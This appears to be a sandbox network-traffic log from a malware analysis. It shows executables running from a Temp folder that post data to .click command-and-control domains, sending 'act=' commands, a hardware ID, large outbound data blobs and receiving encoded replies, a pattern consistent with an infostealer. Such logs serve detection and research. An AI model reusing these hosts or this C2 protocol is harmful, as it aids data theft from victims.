2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: 8a 09 29 77 99 64 51 9b 89 ed 98 1e 97 c6 f0 80 53 19 11 0f 44 f5 86 6b 5d 23 79 4a 18 58 6d 93 3a 6d a9 26 e2 a8 ca ff 36 a9 c6 ea 8b e5 b3 10 da 36 34 2f 36 b5 e6 e6 0b 4d ff 3e 12 a8 8e 04 55 46 8d ae 1f 71 19 74 35 36 13 c9 4d 65 84 5f 9a 27 2f b9 58 c0 41 a7 c9 78 9f c4 45 6b 95 ea c4 9d 8c 50 a2 e9 33 8b b8 23 68 02 8a 9d 56 bc f2 55 61 bd 4e d2 5d 85 61 38 a9 d4 18 3c 8d 6a 2c af 40 3c 6f 72 be 89 97 c0 1e b5 e2 c4 1a fd 1d 04 16 ed b3 19 c1 8b 2f bf 1c 2b fd ed 5e 58 67 79 f6 0a 8f 96 f9 67 4e 36 43 83 0f 23 c9 39 93 c0 db 93 d6 de ae 88 d0 39 bf 85 fe fe b0 99 b9 b3 b1 59 f3 ef b5 90 f0 6e 5a ae 7b 39 19 45 68 7b 5a fb 7d b3 55 16 f9 9f 3a 6f 11 2c 42 bf 6d 34 ff 29 8a aa ff e3 62 47 87 4a 63 e8 5e d6 58 c6 a5 75 e2 78 13 6a e2 32 b0 8e a7 e0 e7 Data Ascii: )wdQSDk]#yJXm:m&664/6M>UFqt56Me_'/XAxEkP3#hVUaN]a8<j,@<or/+^XgygN6C#99YnZ{9Eh{Z}U:o,Bm4)bGJc^Xuxj2
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: bc c4 ce 0c 8e 97 0e ea cb c7 84 3b da 1c aa d0 bb 86 29 07 da 35 ed 87 23 25 d6 9d a6 bc 18 5a b0 42 f5 26 63 14 c5 73 13 3d 42 96 04 cb 4e ea a8 06 5d 2f 20 74 41 c4 2d ba 6e e9 a9 4a ea 77 b7 21 96 cd 54 fe 62 ca df fa 0c a9 36 dd 37 f2 60 f0 d2 48 21 f9 fc b2 60 b1 21 63 f8 5b d9 41 42 6d fb 9d ef c3 48 87 fc 15 50 1f 76 d5 e3 d7 90 c2 a7 e1 cc 6a a0 1d ae 9e bd 0b 4d 6b b5 2e 99 e7 6c 3a 7d 94 a4 01 1c db 55 52 e2 31 e9 f1 a8 dc 51 7c e3 b7 ba 9a f7 8e 1c a7 47 9d c7 9a 4a 1f 08 15 86 8c f8 66 4a 5c 89 a5 da d2 e1 b7 2e 8d 97 2b 90 7d 8e 9a 8e ea a4 ba 77 7c a3 d0 ae 0a 7b 24 7f 99 f7 ea 68 d9 64 fc 20 b9 d9 46 8d 72 aa 9d de 60 d2 0f 89 f8 50 b4 d8 c6 43 1b 0b 02 8c d1 f7 0c 9e 35 df 40 e7 ad d2 d0 8a 73 4b a9 e2 ef 9a 70 8b 35 d4 da a0 27 e9 35 ed Data Ascii: ;)5#%ZB&cs=BN]/ tA-nJw!Tb67`H!`!c[ABmHPvjMk.l:}UR1Q\|GJfJ\.+}w\|{$hd Fr`PC5@sKp5'5
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: 51 32 a8 c9 b0 5f f1 f2 64 be ed 3b c3 24 e3 f1 76 9c e8 54 bc 6a d4 8e 3e f1 41 ed f5 76 19 a2 3d d7 e4 28 85 7d dc d6 93 da d7 12 38 49 f3 f9 72 0c ef bb b2 ab 4b 05 04 1d 51 4e eb 78 d2 60 56 8e f2 51 46 43 58 05 f2 20 ac 70 05 40 4b d8 43 2c 51 f0 83 b7 ed 87 70 0b 31 d8 0d bb 2e cd 41 d6 58 88 a0 47 22 83 a0 eb ee 2a 8d 7c 90 05 b0 57 a1 1c fa fd b6 94 e5 38 e5 e1 59 c5 07 b3 28 65 97 61 76 1e b4 b2 57 88 b9 cb 13 98 62 af 8d 60 99 73 fd 77 77 ef f5 ec cc 15 af bc ba 1b 93 ee 56 c7 1c cf 11 9d 72 4e 88 17 0b 76 c0 cb c8 f6 7d 4b 82 8f 6f c6 ee 68 96 5c 74 d2 23 48 60 2e c4 3a f6 ad 32 02 fd 75 ba e6 6d 2a ac 1c b2 3b 41 b3 e2 e8 f7 1f c2 09 3a 90 ae a9 cb bf 40 7b 03 b5 71 a7 67 fc 5b 93 ad 20 0a 9c 93 b0 bc 27 01 aa 48 75 8d ef cf 77 0a ed 5c 3d a5 Data Ascii: Q2_d;$vTj>Av=(}8IrKQNx`VQFCX p@KC,Qp1.AXG"\|W8Y(eavWb`swwVrNv}Koh\t#H`.:2um;A:@{qg[ 'Huw\=
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: 01 b8 fc 10 00 fd 1b e1 ee 61 d7 51 fe bd 13 cc e6 89 ca b2 a7 09 28 f4 eb 8d a7 88 cf e0 00 cf 08 d0 64 30 cb 60 f6 d0 dc 63 87 c8 30 1b 88 f6 bc 3c 81 25 fa 13 6e 82 c5 88 47 7b 8f 02 96 bb 4d e8 88 20 08 d4 5b bf 2f e3 29 5f ac 43 80 04 e0 5d b0 05 c2 7a 31 c4 dc 91 62 69 e1 56 7a ce 83 f0 a7 eb 7e 61 83 82 be 87 97 6d e7 2b 7b 76 b9 49 fc cd 7a e2 75 76 ac 15 dd 6a 86 bf ff de b2 0f 78 47 f1 4f e4 a8 15 3a 89 00 37 25 bb 41 b0 41 8e 0a 90 13 67 9f 55 64 7c 11 ff 02 79 47 69 14 94 49 41 d3 9d 4b b2 b1 8c 9e 12 9c 6c ee 19 c4 f0 98 28 b5 6f 7f f7 4e 30 39 a2 84 63 9c 96 90 f8 53 9a fc 4e 94 7a 82 48 5c fe 29 d5 2d 02 84 a5 a3 6f 7d 85 e4 ae 17 b8 11 d0 06 7f 67 d4 51 d4 4e 2c 6a 24 02 0e 86 2f 05 4e 1f c9 e0 7b 12 66 8f 91 3c 19 59 b8 c8 cd a3 b4 56 a6 Data Ascii: aQ(d0`c0<%nG{M [/)_C]z1biVz~am+{vIzuvjxGO:7%AAgUd\|yGiIAKl(oN09cSNzH\)-o}gQN,j$/N{f<YV
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: fc 1a 55 44 40 78 3f 73 ed 25 21 ba e7 6c a2 94 eb dc 5b a7 7d ed e1 c5 3b ad e9 ab 37 db 0e 61 2e 3b 22 5d dc e5 44 cc 8b 95 d7 25 f8 38 46 ed 2d bc 6d aa 59 e7 f3 b3 8d 2f 56 96 ae 15 57 dd 77 d1 89 ac ba ba af 6a b5 db f1 fb 6e 12 8b e6 34 0e 0b de 87 6a 9e 04 bc d6 79 fe d6 87 d5 43 65 3a 4a 95 da 7d 69 a1 fc b8 bb 45 96 a2 fa 1f d2 e7 41 ff 7e 77 4b 66 d8 cf 57 d6 91 ab 4e cf 3b 87 73 24 22 57 5f dc f6 12 84 09 ad 3b 33 27 4f 7f 71 30 ed ff 5e 3a 9a 6a 2f f9 c9 ec fb c1 8c ec e1 38 e6 ec 95 48 53 46 8c ec c6 57 a1 96 e3 0b d1 0d 45 6b 0d 6f d7 1b d6 ef 4d 9c 70 7a 27 1c f2 d4 06 e6 5b ee 8e 41 45 a9 6a 48 56 33 71 1b 57 e3 0a f1 12 cf 40 4a a8 23 b4 b0 a7 e0 da c6 29 bf d1 27 55 39 be c1 7e 0e 0a b1 56 47 aa b7 ec c2 83 34 5e 23 c6 be 34 7e cd a1 5f Data Ascii: UD@x?s%!l[};7a.;"]D%8F-mY/VWwjn4jyCe:J}iEA~wKfWN;s$"W_;3'Oq0^:j/8HSFWEkoMpz'[AEjHV3qW@J#)'U9~VG4^#4~_
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: 0f cb 2d 34 d7 84 d1 15 5e 6a 38 ba c6 54 1d 74 f4 6c 54 17 7c f6 59 9e 70 84 23 86 3e 9f 2d d2 78 07 8e 95 35 59 1b ad ee 50 95 27 63 3b f8 21 27 0e 34 35 96 ee e2 0c ac da 2c a7 0b 03 89 21 d8 6f 07 a5 bd 38 bf b0 e9 09 b8 e4 6d d8 da 00 53 f3 28 ae 88 6e 53 40 93 65 25 08 62 cb d3 fa 82 f9 ce 4d e5 c6 e2 6b 11 f3 73 3c e6 8c 88 e4 2d 1c 30 13 33 cb ec ae a1 8a 3f aa 3b 37 e7 e1 d9 80 35 c5 8d 2b 42 79 1a e8 f1 98 14 be d9 8a 23 8a f2 17 5c 22 36 ce 29 13 05 7e 0c 9c c6 b6 d5 5b 7b c1 8e dc bd 91 64 6d 93 2f 3f ae 28 68 2c 3e f7 84 92 6f 11 26 01 06 ad b4 3e 38 06 aa f1 b5 87 61 ac 86 1d 14 c8 c1 cc 81 fe b2 58 e3 14 ee 39 66 c6 55 f6 5d 53 42 0a 26 28 86 ce 04 84 f7 64 2f 7c ba a9 5a 47 28 bc 3c 82 0b f1 59 fd ca bb 75 db 4e fb 8c fa 30 0f 7c 77 d4 8f Data Ascii: -4^j8TtlT\|Yp#>-x5YP'c;!'45,!o8mS(nS@e%bMks<-03?;75+By#\"6)~[{dm/?(h,>o&>8aX9fU]SB&(d/\|ZG(<YuN0\|w
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: e3 f9 c0 c7 94 8e 70 ac e9 52 2e e4 1a 43 ad 12 a5 ee 12 2c aa e3 61 dc f2 c9 26 7c 0c 5f 3e 8e ea be 3e 7d d7 74 38 31 08 c9 d3 68 ce ba 79 4d a6 25 aa 30 21 08 71 92 31 e6 c9 2c 3a 9b d0 16 40 da f8 95 97 d6 a5 b9 8b d0 f8 db b2 f4 d3 50 d4 a2 da 6b 8e 18 67 df 52 9c 5c fa 3c 0d 11 9f 35 62 99 e7 e5 91 37 6a 5e 83 c2 e1 16 3c 7b 95 1a f3 3a b8 dd 92 44 02 21 84 03 c1 ce 4b 12 33 51 99 6f 99 3d 50 d1 8b 06 75 c4 a9 fe 8c d3 02 0b fb c4 d5 c5 63 7e 22 71 83 b2 f2 43 51 ab fd 07 3c df 61 4d 15 88 4a ae 91 f1 91 ef f8 86 2b 40 fa 92 6d 9a a4 50 4b d1 cb f6 2d 1e c0 0e e6 1b 74 8a 4d 86 b7 36 89 52 c9 33 6b 67 40 db 21 6c 2d 97 64 fc 6a 6c c4 63 71 2d 7a 31 15 a4 9f c4 d3 8c d1 4b 36 82 a6 87 f9 8e ef 45 2f b5 26 69 2a 2b f5 a1 01 8f 3e 48 d9 16 d0 24 a7 03 Data Ascii: pR.C,a&\|_>>}t81hyM%0!q1,:@PkgR\<5b7j^<{:D!K3Qo=Puc~"qCQ<aMJ+@mPK-tM6R3kg@!l-djlcq-z1K6E/&i*+>H$
2024-12-20 01:11:42 UTC	15331	OUT	Data Raw: ff e9 af 19 0b df 3b 4c 60 18 00 ba 9f 2a c3 09 49 16 82 bc 0c 3f 6f 77 89 09 3f 51 e3 cd b8 86 81 a5 ff 06 57 9f c4 a0 b1 75 f7 bb 18 8e 7a c1 42 c0 65 5f ac 16 ea 2d a1 b4 2b 5e 92 68 84 d8 b2 39 f3 3a f7 72 4e 2b a4 89 a4 be 52 8c d6 f0 21 2c 6b f0 37 1b 90 16 34 57 47 28 12 18 1a 20 b6 77 96 54 0d 19 8a e1 bb b7 ff bb 6f 7d b9 69 65 76 1b 4f 0d 8c 9a d0 1f 1a ac e0 d8 db e9 f4 93 80 b8 3f 76 e1 ca 30 7e 63 89 6f ad 82 01 3f 25 c5 12 bc 01 02 f5 ef 9e 33 a0 73 17 7e 7f f8 4f 39 d9 c7 75 ab 9a 64 04 d9 08 59 3e 8a fc dd 4f 92 8e 75 22 16 00 e2 6e e1 11 77 d1 25 3c 4f c9 70 99 8b db f0 b7 d2 74 52 88 39 01 c9 36 5c 0c 0d 7d 22 fc 1f 19 c5 da 1b 73 59 c2 2a 75 d8 ce 44 3d 36 c2 08 eb c0 4f d8 7e e6 bf 11 a7 18 6f 4b 3b 4c 02 66 15 ec 06 11 dc b0 22 48 d3 Data Ascii: ;L`I?ow?QWuzBe_-+^h9:rN+R!,k74WG( wTo}ievO?v0~co?%3s~O9udY>Ou"nw%<OptR96\}"sYuD=6O~oK;Lf"H
2024-12-20 01:11:46 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ce9lpb6bv8vl96hur68vahap4c; expires=Mon, 14 Apr 2025 18:58:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OjQNcTbWWZ%2F5iiNZePgVn0ig96LNoChMKk2A46j%2BW5iidov%2B1zMWt2N6Gj4eD%2BG2WbgHIN8iLKstmNDxFKuGcfnnOT6KNvXHydCeJIbmDGD%2BKSmmTU56BvXJ6CT5IsPypQvSIy%2FR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc28c4977729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1981&min_rtt=1974&rtt_var=756&sent=322&recv=592&lost=0&retrans=0&sent_bytes=2847&recv_bytes=571036&delivery_rate=1433480&cwnd=169&unsent_bytes=0&cid=06fdd9fae10a8fa7&ts=3915&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49937	104.21.91.209	443	7196	C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:46 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-20 01:11:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 01:11:47 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=npt42mfj2hsiqslu33hc8nlg4m; expires=Mon, 14 Apr 2025 18:58:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G9Ie1Mf%2F99hKoyb0OhaMCMVjPpP3oSoYCgKChXG653yF3mz9iNiXgLjgSIQijRf72q56ctgVuxPb4RxvjM2FPU9hph9rXQG872ujWM3QSoD8%2FcqDMJIGE7kBnlK%2Ffgsr8nre"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2a4fb554385-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2170&min_rtt=2160&rtt_var=830&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1301827&cwnd=250&unsent_bytes=0&cid=d7df0eb4458e1997&ts=764&x=0"
2024-12-20 01:11:47 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 01:11:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49943	172.67.209.202	443	8180	C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:47 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: pancakedipyps.click
2024-12-20 01:11:47 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 39 45 32 43 43 30 32 45 32 42 38 44 46 32 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=9E2CC02E2B8DF241AC8923850305D13E
2024-12-20 01:11:48 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f1cdrbm8icl8o1efca57jecbnb; expires=Mon, 14 Apr 2025 18:58:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r9FNXMlidrEBVG2XNCKni50w8s1%2FKNWvBsonm6aX7UxkzCK4xGkY1hHlDXAarJ%2BhWS7Ah78IFqNgfM%2Fr6dXLiZxT1IjAB4qVsMcvp6%2Fz2jQg1cNzoODAcZZsn1uBtgVUYk7THw93"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2aceb6442cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1564&rtt_var=593&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=984&delivery_rate=1836477&cwnd=252&unsent_bytes=0&cid=c40ce491d8e0ffba&ts=953&x=0"
2024-12-20 01:11:48 UTC	54	IN	Data Raw: 33 30 0d 0a 7a 79 36 53 33 30 71 6f 74 72 42 68 4e 72 4c 2b 66 32 32 36 6d 55 66 32 73 35 69 55 46 33 55 63 63 4b 46 67 45 68 49 52 57 62 4b 55 63 77 3d 3d 0d 0a Data Ascii: 30zy6S30qotrBhNrL+f226mUf2s5iUF3UccKFgEhIRWbKUcw==
2024-12-20 01:11:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49945	104.21.91.209	443	7196	C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:48 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: treehoneyi.click
2024-12-20 01:11:48 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=rAGxSF--Support&j=
2024-12-20 01:11:49 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=flsqcdmmdl6h116op6a9msb9me; expires=Mon, 14 Apr 2025 18:58:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=usx9HHc1pLkW4bwneaqIQUKi5P4YCu5N7qS%2FlDQPKhlJ%2B0k9ZVjct0oqU6uBYuuEg3ufEAJNYoKf0fkoAdXdu393MpFBAP8Dnp2sMfGYWk3%2BjjedKQ2Yr4JnjATbXhYsTasc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2b16c6d437e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1754&min_rtt=1743&rtt_var=661&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=949&delivery_rate=1675272&cwnd=236&unsent_bytes=0&cid=79f7982b2b3e33ec&ts=794&x=0"
2024-12-20 01:11:49 UTC	248	IN	Data Raw: 34 39 31 63 0d 0a 33 41 49 68 6a 68 7a 36 56 4d 36 6b 30 4e 5a 63 7a 37 69 59 42 61 57 37 7a 58 78 6c 2b 58 32 6d 46 32 78 48 53 2f 4f 64 57 51 61 6e 49 46 65 73 4a 73 35 34 37 4e 65 31 39 47 61 37 79 75 31 67 69 5a 6d 73 47 45 66 44 47 38 64 37 48 79 4a 6e 30 65 73 30 4a 4f 5a 6b 51 4f 4a 76 6e 33 6a 73 77 61 6a 30 5a 70 54 44 75 6d 44 4c 6d 66 64 65 41 4a 4d 66 78 33 73 4f 4a 69 43 63 37 54 56 6c 74 47 35 47 35 6e 6d 5a 4d 4b 2f 49 76 62 4d 35 71 74 6e 79 61 38 7a 57 70 52 46 48 31 56 2f 44 62 55 35 39 61 62 37 34 4c 57 65 52 59 31 4c 6c 50 6f 64 34 74 59 61 31 75 48 37 31 6d 76 6c 67 78 39 65 72 47 41 36 52 46 63 35 7a 44 79 4d 68 67 2f 51 2f 62 72 52 67 52 65 64 7a 6b 43 53 69 77 72 71 34 50 36 44 5a 75 69 6d 48 33 72 64 65 58 39 Data Ascii: 491c3AIhjhz6VM6k0NZcz7iYBaW7zXxl+X2mF2xHS/OdWQanIFesJs547Ne19Ga7yu1giZmsGEfDG8d7HyJn0es0JOZkQOJvn3jswaj0ZpTDumDLmfdeAJMfx3sOJiCc7TVltG5G5nmZMK/IvbM5qtnya8zWpRFH1V/DbU59ab74LWeRY1LlPod4tYa1uH71mvlgx9erGA6RFc5zDyMhg/Q/brRgRedzkCSiwrq4P6DZuimH3rdeX9
2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 74 4d 39 6e 59 66 4e 44 79 63 37 7a 30 6b 6f 53 35 61 72 48 6d 55 64 76 53 47 75 72 67 77 71 4e 6e 31 59 4d 62 5a 76 52 45 48 6d 42 66 4d 63 51 51 71 4a 70 37 78 4d 57 4f 32 61 55 54 6a 65 5a 41 77 6f 38 58 79 2b 6e 36 71 77 72 6f 2f 68 2f 6d 2f 48 51 53 50 45 74 55 31 45 57 73 77 30 66 67 33 4a 4f 59 67 52 65 4a 2f 6c 54 61 2b 7a 72 6d 2f 4f 37 2f 52 38 32 72 4b 32 61 49 55 43 4a 67 66 77 33 38 45 4b 69 4f 56 38 6a 5a 69 76 6d 41 44 6f 6a 36 66 4c 75 79 65 38 70 63 37 76 64 33 32 63 59 58 6a 37 77 46 4a 67 6c 2f 44 65 55 35 39 61 5a 6e 36 4f 47 65 31 62 30 44 6b 64 59 6f 32 76 73 43 2f 73 53 79 72 33 2f 52 74 78 4d 75 6c 45 41 47 59 46 73 39 38 43 79 49 74 30 62 46 37 59 36 59 67 47 36 78 66 6c 54 32 67 7a 4b 57 30 66 72 4b 55 34 79 66 41 31 65 39 47 52 Data Ascii: tM9nYfNDyc7z0koS5arHmUdvSGurgwqNn1YMbZvREHmBfMcQQqJp7xMWO2aUTjeZAwo8Xy+n6qwro/h/m/HQSPEtU1EWsw0fg3JOYgReJ/lTa+zrm/O7/R82rK2aIUCJgfw38EKiOV8jZivmADoj6fLuye8pc7vd32cYXj7wFJgl/DeU59aZn6OGe1b0DkdYo2vsC/sSyr3/RtxMulEAGYFs98CyIt0bF7Y6YgG6xflT2gzKW0frKU4yfA1e9GR
2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 31 51 47 55 75 69 62 39 6a 4a 4a 52 6a 56 2b 39 30 32 67 4f 76 79 4c 79 7a 4b 4f 33 46 74 48 36 48 33 71 4e 65 58 39 73 53 78 58 30 49 4e 79 61 63 2f 44 56 71 73 57 56 4d 35 48 36 59 4f 36 6e 43 75 62 38 39 6f 4e 37 6f 62 63 66 52 71 68 38 4e 6b 56 2b 4b 4e 51 6b 39 61 63 6d 2f 43 6e 4f 31 49 6e 62 76 63 4a 59 78 75 6f 61 74 2b 69 66 74 33 66 59 6e 6e 35 6d 69 46 67 4b 65 45 4d 56 2f 41 43 41 6a 6e 66 63 31 5a 36 78 76 52 2b 78 79 6b 44 79 68 79 4c 61 38 4e 36 62 52 2f 47 66 47 30 2b 39 51 52 35 77 48 68 43 31 4f 45 53 36 64 38 6a 51 6d 69 32 4e 4e 34 6e 6d 4f 64 72 4f 49 71 2f 51 35 6f 5a 71 69 4a 38 76 51 72 78 55 4e 6e 78 2f 44 65 41 73 6d 4c 70 4c 79 50 47 36 77 5a 30 66 67 64 35 55 77 72 4d 47 32 73 53 79 6f 30 2f 5a 72 68 35 66 76 47 52 2f 62 52 34 Data Ascii: 1QGUuib9jJJRjV+902gOvyLyzKO3FtH6H3qNeX9sSxX0INyac/DVqsWVM5H6YO6nCub89oN7obcfRqh8NkV+KNQk9acm/CnO1InbvcJYxuoat+ift3fYnn5miFgKeEMV/ACAjnfc1Z6xvR+xykDyhyLa8N6bR/GfG0+9QR5wHhC1OES6d8jQmi2NN4nmOdrOIq/Q5oZqiJ8vQrxUNnx/DeAsmLpLyPG6wZ0fgd5UwrMG2sSyo0/Zrh5fvGR/bR4
2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 61 63 6d 2f 4d 6d 32 73 62 6b 33 6c 63 35 34 2b 71 38 69 2f 76 7a 69 6d 33 66 31 68 79 74 47 69 47 77 53 61 47 38 35 6e 44 53 34 6a 6e 50 56 37 4b 76 35 6e 57 36 77 6d 32 42 47 67 37 36 4b 76 4c 4c 75 61 35 53 6e 65 6d 61 67 53 52 38 4e 66 78 33 6f 48 4b 69 47 5a 38 44 52 67 73 47 5a 46 34 58 75 58 50 4c 37 4f 76 4c 6b 31 6f 74 48 6f 5a 38 72 64 6f 78 6f 50 6b 42 57 45 4f 30 34 69 4d 64 47 6e 65 31 47 7a 62 30 50 76 61 4e 67 70 34 74 2f 79 73 7a 4c 74 67 72 70 72 79 64 6d 67 45 67 75 51 46 38 56 35 41 43 49 73 6d 50 63 7a 64 72 39 6b 53 2b 31 77 6c 7a 65 6f 77 37 65 77 4f 61 6e 63 39 53 65 4a 6d 61 67 47 52 38 4e 66 36 31 49 37 5a 77 69 72 76 79 51 71 70 79 42 45 34 44 37 41 64 71 44 46 76 72 77 78 71 39 50 32 62 63 37 53 6f 78 55 44 6c 78 62 42 63 77 38 Data Ascii: acm/Mm2sbk3lc54+q8i/vzim3f1hytGiGwSaG85nDS4jnPV7Kv5nW6wm2BGg76KvLLua5SnemagSR8Nfx3oHKiGZ8DRgsGZF4XuXPL7OvLk1otHoZ8rdoxoPkBWEO04iMdGne1Gzb0PvaNgp4t/yszLtgrprydmgEguQF8V5ACIsmPczdr9kS+1wlzeow7ewOanc9SeJmagGR8Nf61I7ZwirvyQqpyBE4D7AdqDFvrwxq9P2bc7SoxUDlxbBcw8
2024-12-20 01:11:49 UTC	1369	IN	Data Raw: 54 78 74 72 47 35 4f 34 33 61 51 50 36 33 43 74 37 6b 34 6f 64 44 37 59 4d 6e 58 70 31 35 4a 32 78 6a 63 4e 56 5a 6c 43 49 48 6b 4b 58 4b 7a 51 55 37 6a 50 6f 64 34 74 59 61 31 75 48 37 31 6d 76 4e 31 77 39 53 39 46 77 43 56 45 4d 64 6e 44 79 67 69 67 2f 67 30 59 4c 6c 73 52 65 4e 34 6d 54 4f 6d 79 72 57 78 4e 61 4c 57 75 69 6d 48 33 72 64 65 58 39 73 78 7a 32 59 5a 4a 69 65 61 36 53 41 6b 6f 53 35 61 72 48 6d 55 64 76 53 47 73 62 38 31 71 64 72 32 5a 38 50 55 72 77 77 49 6e 42 6a 4e 66 68 77 76 4c 70 62 30 4d 32 2b 78 5a 6c 48 67 63 49 6f 7a 76 74 54 79 2b 6e 36 71 77 72 6f 2f 68 2b 2b 6f 44 68 65 59 58 66 56 6a 44 54 4d 69 6e 50 4e 37 65 2f 42 35 41 2b 74 79 32 47 37 73 77 4c 32 39 50 61 4c 62 38 32 76 4b 33 4b 59 62 42 70 30 62 7a 6e 38 4f 49 79 2b 51 Data Ascii: TxtrG5O43aQP63Ct7k4odD7YMnXp15J2xjcNVZlCIHkKXKzQU7jPod4tYa1uH71mvN1w9S9FwCVEMdnDygig/g0YLlsReN4mTOmyrWxNaLWuimH3rdeX9sxz2YZJiea6SAkoS5arHmUdvSGsb81qdr2Z8PUrwwInBjNfhwvLpb0M2+xZlHgcIozvtTy+n6qwro/h++oDheYXfVjDTMinPN7e/B5A+ty2G7swL29PaLb82vK3KYbBp0bzn8OIy+Q
